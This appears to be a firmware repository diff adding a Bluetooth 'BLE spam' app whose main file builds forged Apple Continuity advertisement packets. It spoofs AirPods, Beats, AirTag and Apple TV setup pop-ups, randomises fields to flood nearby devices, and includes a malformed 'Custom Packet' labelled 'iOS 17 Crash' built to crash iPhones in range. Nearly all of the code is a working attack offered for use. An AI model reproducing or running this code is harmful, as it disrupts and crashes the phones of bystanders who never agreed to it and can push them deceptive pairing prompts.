applications/external/ble_spam/icons/apple.png
vendored
Normal file
BIN
applications/external/ble_spam/icons/apple.png
vendored
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 4.2 KiB |
BIN
applications/external/ble_spam/icons/ble.png
vendored
Normal file
BIN
applications/external/ble_spam/icons/ble.png
vendored
Normal file
Binary file not shown.
|
After Width: | Height: | Size: 5.0 KiB |
17
applications/external/ble_spam/protocols/_base.h
vendored
Normal file
17
applications/external/ble_spam/protocols/_base.h
vendored
Normal file
@@ -0,0 +1,17 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
#include <assets_icons.h>
|
||||||
|
#include "ble_spam_icons.h"
|
||||||
|
#include <furi_hal_random.h>
|
||||||
|
#include <core/core_defines.h>
|
||||||
|
|
||||||
|
typedef union BleSpamMsg BleSpamMsg;
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
const Icon* icon;
|
||||||
|
const char* (*get_name)(const BleSpamMsg* _msg);
|
||||||
|
void (*make_packet)(uint8_t* out_size, uint8_t** out_packet, const BleSpamMsg* _msg);
|
||||||
|
} BleSpamProtocol;
|
||||||
7
applications/external/ble_spam/protocols/_registry.c
vendored
Normal file
7
applications/external/ble_spam/protocols/_registry.c
vendored
Normal file
@@ -0,0 +1,7 @@
|
|||||||
|
#include "_registry.h"
|
||||||
|
|
||||||
|
const BleSpamProtocol* ble_spam_protocols[] = {
|
||||||
|
&ble_spam_protocol_continuity,
|
||||||
|
};
|
||||||
|
|
||||||
|
const size_t ble_spam_protocols_count = COUNT_OF(ble_spam_protocols);
|
||||||
11
applications/external/ble_spam/protocols/_registry.h
vendored
Normal file
11
applications/external/ble_spam/protocols/_registry.h
vendored
Normal file
@@ -0,0 +1,11 @@
|
|||||||
|
#pragma once
|
||||||
|
|
||||||
|
#include "continuity.h"
|
||||||
|
|
||||||
|
union BleSpamMsg {
|
||||||
|
ContinuityMsg continuity;
|
||||||
|
};
|
||||||
|
|
||||||
|
extern const BleSpamProtocol* ble_spam_protocols[];
|
||||||
|
|
||||||
|
extern const size_t ble_spam_protocols_count;
|
||||||
276
applications/external/ble_spam/protocols/continuity.c
vendored
Normal file
276
applications/external/ble_spam/protocols/continuity.c
vendored
Normal file
@@ -0,0 +1,276 @@
|
|||||||
|
#include "continuity.h"
|
||||||
|
#include "_registry.h"
|
||||||
|
|
||||||
|
// Hacked together by @Willy-JL
|
||||||
|
// iOS 17 Crash by @ECTO-1A
|
||||||
|
// Nearby Action IDs and Documentation at https://github.com/furiousMAC/continuity/
|
||||||
|
// Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
|
||||||
|
|
||||||
|
static const char* type_names[ContinuityTypeCount] = {
|
||||||
|
[ContinuityTypeAirDrop] = "AirDrop",
|
||||||
|
[ContinuityTypeProximityPair] = "Proximity Pair",
|
||||||
|
[ContinuityTypeAirplayTarget] = "Airplay Target",
|
||||||
|
[ContinuityTypeHandoff] = "Handoff",
|
||||||
|
[ContinuityTypeTetheringSource] = "Tethering Source",
|
||||||
|
[ContinuityTypeNearbyAction] = "Nearby Action",
|
||||||
|
[ContinuityTypeNearbyInfo] = "Nearby Info",
|
||||||
|
[ContinuityTypeCustomCrash] = "Custom Packet",
|
||||||
|
};
|
||||||
|
const char* continuity_get_name(const BleSpamMsg* _msg) {
|
||||||
|
const ContinuityMsg* msg = &_msg->continuity;
|
||||||
|
return type_names[msg->type];
|
||||||
|
}
|
||||||
|
|
||||||
|
#define HEADER_LEN (6) // 1 Size + 1 AD Type + 2 Company ID + 1 Continuity Type + 1 Continuity Size
|
||||||
|
static uint8_t packet_sizes[ContinuityTypeCount] = {
|
||||||
|
[ContinuityTypeAirDrop] = HEADER_LEN + 18,
|
||||||
|
[ContinuityTypeProximityPair] = HEADER_LEN + 25,
|
||||||
|
[ContinuityTypeAirplayTarget] = HEADER_LEN + 6,
|
||||||
|
[ContinuityTypeHandoff] = HEADER_LEN + 14,
|
||||||
|
[ContinuityTypeTetheringSource] = HEADER_LEN + 6,
|
||||||
|
[ContinuityTypeNearbyAction] = HEADER_LEN + 5,
|
||||||
|
[ContinuityTypeNearbyInfo] = HEADER_LEN + 5,
|
||||||
|
[ContinuityTypeCustomCrash] = HEADER_LEN + 11,
|
||||||
|
};
|
||||||
|
|
||||||
|
void continuity_make_packet(uint8_t* out_size, uint8_t** out_packet, const BleSpamMsg* _msg) {
|
||||||
|
const ContinuityMsg* msg = _msg ? &_msg->continuity : NULL;
|
||||||
|
|
||||||
|
ContinuityType type;
|
||||||
|
if(msg) {
|
||||||
|
type = msg->type;
|
||||||
|
} else {
|
||||||
|
const ContinuityType types[] = {
|
||||||
|
ContinuityTypeProximityPair,
|
||||||
|
ContinuityTypeNearbyAction,
|
||||||
|
ContinuityTypeCustomCrash,
|
||||||
|
};
|
||||||
|
type = types[rand() % COUNT_OF(types)];
|
||||||
|
}
|
||||||
|
|
||||||
|
uint8_t size = packet_sizes[type];
|
||||||
|
uint8_t* packet = malloc(size);
|
||||||
|
uint8_t i = 0;
|
||||||
|
|
||||||
|
packet[i++] = size - 1; // Size
|
||||||
|
packet[i++] = 0xFF; // AD Type (Manufacturer Specific)
|
||||||
|
packet[i++] = 0x4C; // Company ID (Apple, Inc.)
|
||||||
|
packet[i++] = 0x00; // ...
|
||||||
|
packet[i++] = type; // Continuity Type
|
||||||
|
packet[i] = size - i - 1; // Continuity Size
|
||||||
|
i++;
|
||||||
|
|
||||||
|
switch(type) {
|
||||||
|
case ContinuityTypeAirDrop: {
|
||||||
|
packet[i++] = 0x00; // Zeros
|
||||||
|
packet[i++] = 0x00; // ...
|
||||||
|
packet[i++] = 0x00; // ...
|
||||||
|
packet[i++] = 0x00; // ...
|
||||||
|
packet[i++] = 0x00; // ...
|
||||||
|
packet[i++] = 0x00; // ...
|
||||||
|
packet[i++] = 0x00; // ...
|
||||||
|
packet[i++] = 0x00; // ...
|
||||||
|
packet[i++] = 0x01; // Version
|
||||||
|
packet[i++] = (rand() % 256); // AppleID
|
||||||
|
packet[i++] = (rand() % 256); // ...
|
||||||
|
packet[i++] = (rand() % 256); // Phone Number
|
||||||
|
packet[i++] = (rand() % 256); // ...
|
||||||
|
packet[i++] = (rand() % 256); // Email
|
||||||
|
packet[i++] = (rand() % 256); // ...
|
||||||
|
packet[i++] = (rand() % 256); // Email2
|
||||||
|
packet[i++] = (rand() % 256); // ...
|
||||||
|
packet[i++] = 0x00; // Zero
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case ContinuityTypeProximityPair: {
|
||||||
|
uint16_t model;
|
||||||
|
if(msg && msg->data.proximity_pair.model != 0x0000) {
|
||||||
|
model = msg->data.proximity_pair.model;
|
||||||
|
} else {
|
||||||
|
const uint16_t models[] = {
|
||||||
|
0x0E20, // AirPods Pro
|
||||||
|
0x0620, // Beats Solo 3
|
||||||
|
0x0A20, // AirPods Max
|
||||||
|
0x1020, // Beats Flex
|
||||||
|
0x0055, // Airtag
|
||||||
|
0x0030, // Hermes Airtag
|
||||||
|
0x0220, // AirPods
|
||||||
|
0x0F20, // AirPods 2nd Gen
|
||||||
|
0x1320, // AirPods 3rd Gen
|
||||||
|
0x1420, // AirPods Pro 2nd Gen
|
||||||
|
0x0320, // Powerbeats 3
|
||||||
|
0x0B20, // Powerbeats Pro
|
||||||
|
0x0C20, // Beats Solo Pro
|
||||||
|
0x1120, // Beats Studio Buds
|
||||||
|
0x0520, // Beats X
|
||||||
|
0x0920, // Beats Studio 3
|
||||||
|
0x1720, // Beats Studio Pro
|
||||||
|
0x1220, // Beats Fit Pro
|
||||||
|
0x1620, // Beats Studio Buds+
|
||||||
|
};
|
||||||
|
model = models[rand() % COUNT_OF(models)];
|
||||||
|
}
|
||||||
|
|
||||||
|
uint8_t prefix;
|
||||||
|
if(msg && msg->data.proximity_pair.prefix == 0x00) {
|
||||||
|
prefix = msg->data.proximity_pair.prefix;
|
||||||
|
} else {
|
||||||
|
if(model == 0x0055 || model == 0x0030)
|
||||||
|
prefix = 0x05;
|
||||||
|
else
|
||||||
|
prefix = 0x01;
|
||||||
|
}
|
||||||
|
|
||||||
|
packet[i++] = prefix; // Prefix (paired 0x01 new 0x07 airtag 0x05)
|
||||||
|
packet[i++] = (model >> 0x08) & 0xFF;
|
||||||
|
packet[i++] = (model >> 0x00) & 0xFF;
|
||||||
|
packet[i++] = 0x55; // Status
|
||||||
|
packet[i++] = ((rand() % 10) << 4) + (rand() % 10); // Buds Battery Level
|
||||||
|
packet[i++] = ((rand() % 8) << 4) + (rand() % 10); // Charing Status and Battery Case Level
|
||||||
|
packet[i++] = (rand() % 256); // Lid Open Counter
|
||||||
|
packet[i++] = 0x00; // Device Color
|
||||||
|
packet[i++] = 0x00;
|
||||||
|
furi_hal_random_fill_buf(&packet[i], 16); // Encrypted Payload
|
||||||
|
i += 16;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case ContinuityTypeAirplayTarget: {
|
||||||
|
packet[i++] = (rand() % 256); // Flags
|
||||||
|
packet[i++] = (rand() % 256); // Configuration Seed
|
||||||
|
packet[i++] = (rand() % 256); // IPv4 Address
|
||||||
|
packet[i++] = (rand() % 256); // ...
|
||||||
|
packet[i++] = (rand() % 256); // ...
|
||||||
|
packet[i++] = (rand() % 256); // ...
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case ContinuityTypeHandoff: {
|
||||||
|
packet[i++] = 0x01; // Version
|
||||||
|
packet[i++] = (rand() % 256); // Initialization Vector
|
||||||
|
packet[i++] = (rand() % 256); // ...
|
||||||
|
packet[i++] = (rand() % 256); // AES-GCM Auth Tag
|
||||||
|
packet[i++] = (rand() % 256); // Encrypted Payload
|
||||||
|
packet[i++] = (rand() % 256); // ...
|
||||||
|
packet[i++] = (rand() % 256); // ...
|
||||||
|
packet[i++] = (rand() % 256); // ...
|
||||||
|
packet[i++] = (rand() % 256); // ...
|
||||||
|
packet[i++] = (rand() % 256); // ...
|
||||||
|
packet[i++] = (rand() % 256); // ...
|
||||||
|
packet[i++] = (rand() % 256); // ...
|
||||||
|
packet[i++] = (rand() % 256); // ...
|
||||||
|
packet[i++] = (rand() % 256); // ...
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case ContinuityTypeTetheringSource: {
|
||||||
|
packet[i++] = 0x01; // Version
|
||||||
|
packet[i++] = (rand() % 256); // Flags
|
||||||
|
packet[i++] = (rand() % 101); // Battery Life
|
||||||
|
packet[i++] = 0x00; // Cell Service Type
|
||||||
|
packet[i++] = (rand() % 8); // ...
|
||||||
|
packet[i++] = (rand() % 5); // Cell Service Strength
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case ContinuityTypeNearbyAction: {
|
||||||
|
uint8_t action;
|
||||||
|
if(msg && msg->data.nearby_action.type != 0x00) {
|
||||||
|
action = msg->data.nearby_action.type;
|
||||||
|
} else {
|
||||||
|
const uint8_t actions[] = {
|
||||||
|
0x13, // AppleTV AutoFill
|
||||||
|
0x27, // AppleTV Connecting...
|
||||||
|
0x20, // Join This AppleTV?
|
||||||
|
0x19, // AppleTV Audio Sync
|
||||||
|
0x1E, // AppleTV Color Balance
|
||||||
|
0x09, // Setup New iPhone
|
||||||
|
0x02, // Transfer Phone Number
|
||||||
|
0x0B, // HomePod Setup
|
||||||
|
0x01, // Setup New AppleTV
|
||||||
|
0x06, // Pair AppleTV
|
||||||
|
0x0D, // HomeKit AppleTV Setup
|
||||||
|
0x2B, // AppleID for AppleTV?
|
||||||
|
};
|
||||||
|
action = actions[rand() % COUNT_OF(actions)];
|
||||||
|
}
|
||||||
|
|
||||||
|
uint8_t flag;
|
||||||
|
if(msg && msg->data.nearby_action.flags != 0x00) {
|
||||||
|
flag = msg->data.nearby_action.flags;
|
||||||
|
} else {
|
||||||
|
flag = 0xC0;
|
||||||
|
if(action == 0x20 && rand() % 2) flag--; // More spam for 'Join This AppleTV?'
|
||||||
|
if(action == 0x09 && rand() % 2) flag = 0x40; // Glitched 'Setup New Device'
|
||||||
|
}
|
||||||
|
|
||||||
|
packet[i++] = flag; // Action Flags
|
||||||
|
packet[i++] = action; // Action Type
|
||||||
|
furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
|
||||||
|
i += 3;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case ContinuityTypeNearbyInfo: {
|
||||||
|
packet[i++] = ((rand() % 16) << 4) + (rand() % 16); // Status Flags and Action Code
|
||||||
|
packet[i++] = (rand() % 256); // Status Flags
|
||||||
|
packet[i++] = (rand() % 256); // Authentication Tag
|
||||||
|
packet[i++] = (rand() % 256); // ...
|
||||||
|
packet[i++] = (rand() % 256); // ...
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
case ContinuityTypeCustomCrash: {
|
||||||
|
// Found by @ECTO-1A
|
||||||
|
|
||||||
|
const uint8_t actions[] = {
|
||||||
|
0x13, // AppleTV AutoFill
|
||||||
|
0x27, // AppleTV Connecting...
|
||||||
|
0x20, // Join This AppleTV?
|
||||||
|
0x19, // AppleTV Audio Sync
|
||||||
|
0x1E, // AppleTV Color Balance
|
||||||
|
0x09, // Setup New iPhone
|
||||||
|
0x02, // Transfer Phone Number
|
||||||
|
0x0B, // HomePod Setup
|
||||||
|
0x01, // Setup New AppleTV
|
||||||
|
0x06, // Pair AppleTV
|
||||||
|
0x0D, // HomeKit AppleTV Setup
|
||||||
|
0x2B, // AppleID for AppleTV?
|
||||||
|
};
|
||||||
|
uint8_t action = actions[rand() % COUNT_OF(actions)];
|
||||||
|
|
||||||
|
uint8_t flag = 0xC0;
|
||||||
|
if(action == 0x20 && rand() % 2) flag--; // More spam for 'Join This AppleTV?'
|
||||||
|
if(action == 0x09 && rand() % 2) flag = 0x40; // Glitched 'Setup New Device'
|
||||||
|
|
||||||
|
i -= 2; // Override segment header
|
||||||
|
packet[i++] = ContinuityTypeNearbyAction; // Continuity Type
|
||||||
|
packet[i++] = 0x05; // Continuity Size
|
||||||
|
packet[i++] = flag; // Action Flags
|
||||||
|
packet[i++] = action; // Action Type
|
||||||
|
furi_hal_random_fill_buf(&packet[i], 3); // Authentication Tag
|
||||||
|
i += 3;
|
||||||
|
|
||||||
|
packet[i++] = 0x00; // Terminator (?)
|
||||||
|
packet[i++] = 0x00; // ...
|
||||||
|
|
||||||
|
packet[i++] = ContinuityTypeNearbyInfo; // Continuity Type (?)
|
||||||
|
furi_hal_random_fill_buf(&packet[i], 3); // Continuity Size (?) + Shenanigans (???)
|
||||||
|
i += 3;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
default:
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
*out_size = size;
|
||||||
|
*out_packet = packet;
|
||||||
|
}
|
||||||
|
|
||||||
|
const BleSpamProtocol ble_spam_protocol_continuity = {
|
||||||
|
.icon = &I_apple,
|
||||||
|
.get_name = continuity_get_name,
|
||||||
|
.make_packet = continuity_make_packet,
|
||||||
|
};
|
||||||
36
applications/external/ble_spam/protocols/continuity.h
vendored
Normal file
36
applications/external/ble_spam/protocols/continuity.h
vendored
Normal file
@@ -0,0 +1,36 @@
|
|||||||
|
#pragma once
|
||||||
|
#include "_base.h"
|
||||||
|
|
||||||
|
// Hacked together by @Willy-JL
|
||||||
|
// iOS 17 Crash by @ECTO-1A
|
||||||
|
// Nearby Action IDs and Documentation at https://github.com/furiousMAC/continuity/
|
||||||
|
// Proximity Pair IDs from https://github.com/ECTO-1A/AppleJuice/
|
||||||
|
|
||||||
|
typedef enum {
|
||||||
|
ContinuityTypeAirDrop = 0x05,
|
||||||
|
ContinuityTypeProximityPair = 0x07,
|
||||||
|
ContinuityTypeAirplayTarget = 0x09,
|
||||||
|
ContinuityTypeHandoff = 0x0C,
|
||||||
|
ContinuityTypeTetheringSource = 0x0E,
|
||||||
|
ContinuityTypeNearbyAction = 0x0F,
|
||||||
|
ContinuityTypeNearbyInfo = 0x10,
|
||||||
|
|
||||||
|
ContinuityTypeCustomCrash,
|
||||||
|
ContinuityTypeCount
|
||||||
|
} ContinuityType;
|
||||||
|
|
||||||
|
typedef struct {
|
||||||
|
ContinuityType type;
|
||||||
|
union {
|
||||||
|
struct {
|
||||||
|
uint8_t prefix;
|
||||||
|
uint16_t model;
|
||||||
|
} proximity_pair;
|
||||||
|
struct {
|
||||||
|
uint8_t flags;
|
||||||
|
uint8_t type;
|
||||||
|
} nearby_action;
|
||||||
|
} data;
|
||||||
|
} ContinuityMsg;
|
||||||
|
|
||||||
|
extern const BleSpamProtocol ble_spam_protocol_continuity;
|
||||||
Reference in New Issue
Block a user